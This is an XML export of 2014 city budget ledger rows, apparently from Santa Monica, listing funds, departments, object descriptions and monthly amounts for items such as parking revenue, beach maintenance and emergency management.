<row _id="12675"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2590.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>34</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2624.0</total></row>
<row _id="12676"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3075.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3075.0</total></row>
<row _id="12677"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51759.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51759.0</total></row>
<row _id="12678"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4377.0</july><august>0</august><september>0</september><october>0</october><november>-1904</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2473.0</total></row>
<row _id="12679"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>406804.0</object><object_description>13 STATE HOMELAND SEC GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-200000</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="12680"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577710.0</object><object_description>DOWNTOWN SHUTTLE PROGRAM</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>377195.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>348223.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>725418.0</total></row>
<row _id="12681"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>577710.0</object><object_description>DOWNTOWN SHUTTLE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>68000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>68000.0</total></row>
<row _id="12682"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-ARTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="12683"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-SENIOR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="12684"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>408490.0</object><object_description>RESIDENTIAL REPORT MONITORING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="12685"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408510.0</object><object_description>BIKE NETWORK LINK EXPO-METRO</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-1320234.0</july><august>0</august><september>0</september><october>-737255</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2057489.0</total></row>
<row _id="12686"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="12687"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>58952.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58952.0</total></row>
<row _id="12688"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1244.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>416.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1660.67</total></row>
<row _id="12689"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="12690"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUSTODIAL SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>135000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>135000.0</total></row>
<row _id="12691"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>330.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>330.0</total></row>
<row _id="12692"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12128.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12128.0</total></row>
<row _id="12693"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3840.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3840.0</total></row>
<row _id="12694"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-28455.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-28455.0</total></row>
<row _id="12695"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>184375.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>184375.0</total></row>
<row _id="12696"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11400.0</total></row>
<row _id="12697"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1391051.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1391051.0</total></row>
<row _id="12698"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3108.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>450.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3558.0</total></row>
<row _id="12699"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3651.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>375.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4026.0</total></row>
<row _id="12700"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2639.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2639.0</total></row>
<row _id="12701"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>22000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22000.0</total></row>
<row _id="12702"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17146.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17146.0</total></row>
<row _id="12703"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>131349.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131349.0</total></row>
<row _id="12704"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407800.0</object><object_description>CIVIC CENTER PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-1000000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-500000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1500000.0</total></row>
<row _id="12705"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408230.0</object><object_description>MIDTOWN PARKING LOTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-122000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-43000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-165000.0</total></row>
<row _id="12706"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522530.0</object><object_description>PARKING OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
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<row _id="12708"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402020.0</object><object_description>SM PIER - PARKING LOTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1459866.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1459866.0</total></row>
<row _id="12709"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402550.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-68000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-68000.0</total></row>
<row _id="12710"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561406.0</object><object_description>DIRECT SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>76242.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76242.0</total></row>
<row _id="12711"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>38168.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38168.0</total></row>
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<row _id="12713"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>551010.0</object><object_description>CAR WASHES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>231.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>231.0</total></row>
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<row _id="12716"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>415</division_id><division_name>TRANSPORTATION MANAGEMENT</division_name><object>409200.0</object><object_description>TRANSIT INFRA CONTRIB-710 WILS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-244000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-244000.0</total></row>
<row _id="12717"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>403765.0</object><object_description>DOWNTOWN SHUTTLE PROGRAM</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-68000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-68000.0</total></row>
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<row _id="12719"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400270.0</object><object_description>ANIMAL LICENSES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-179899.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-179899.0</total></row>
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<row _id="12721"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>566581.0</object><object_description>EMT CERTIFICATES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1200.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="12722"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408691.0</object><object_description>AFFORD HOUSING SETTLEMENT PMT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-5250000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5250000.0</total></row>
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<row _id="12724"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>577830.0</object><object_description>WATER CONSERVATION REBATES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>480000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>480000.0</total></row>
<row _id="12725"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400310.0</object><object_description>STRUCTURE ATTENDANT PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-6920093.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-464604.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7384697.0</total></row>
<row _id="12726"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>401320.0</object><object_description>PARKING STRUCTURE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-1300000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1300000.0</total></row>
<row _id="12727"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404870.0</object><object_description>1665 OCEAN AVE PKG LOT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-8568.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-26432.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35000.0</total></row>
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<row _id="12746"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>410070.0</object><object_description>OPEN SPACE CONTRIB 1318 2ND</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-225000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-225000.0</total></row>
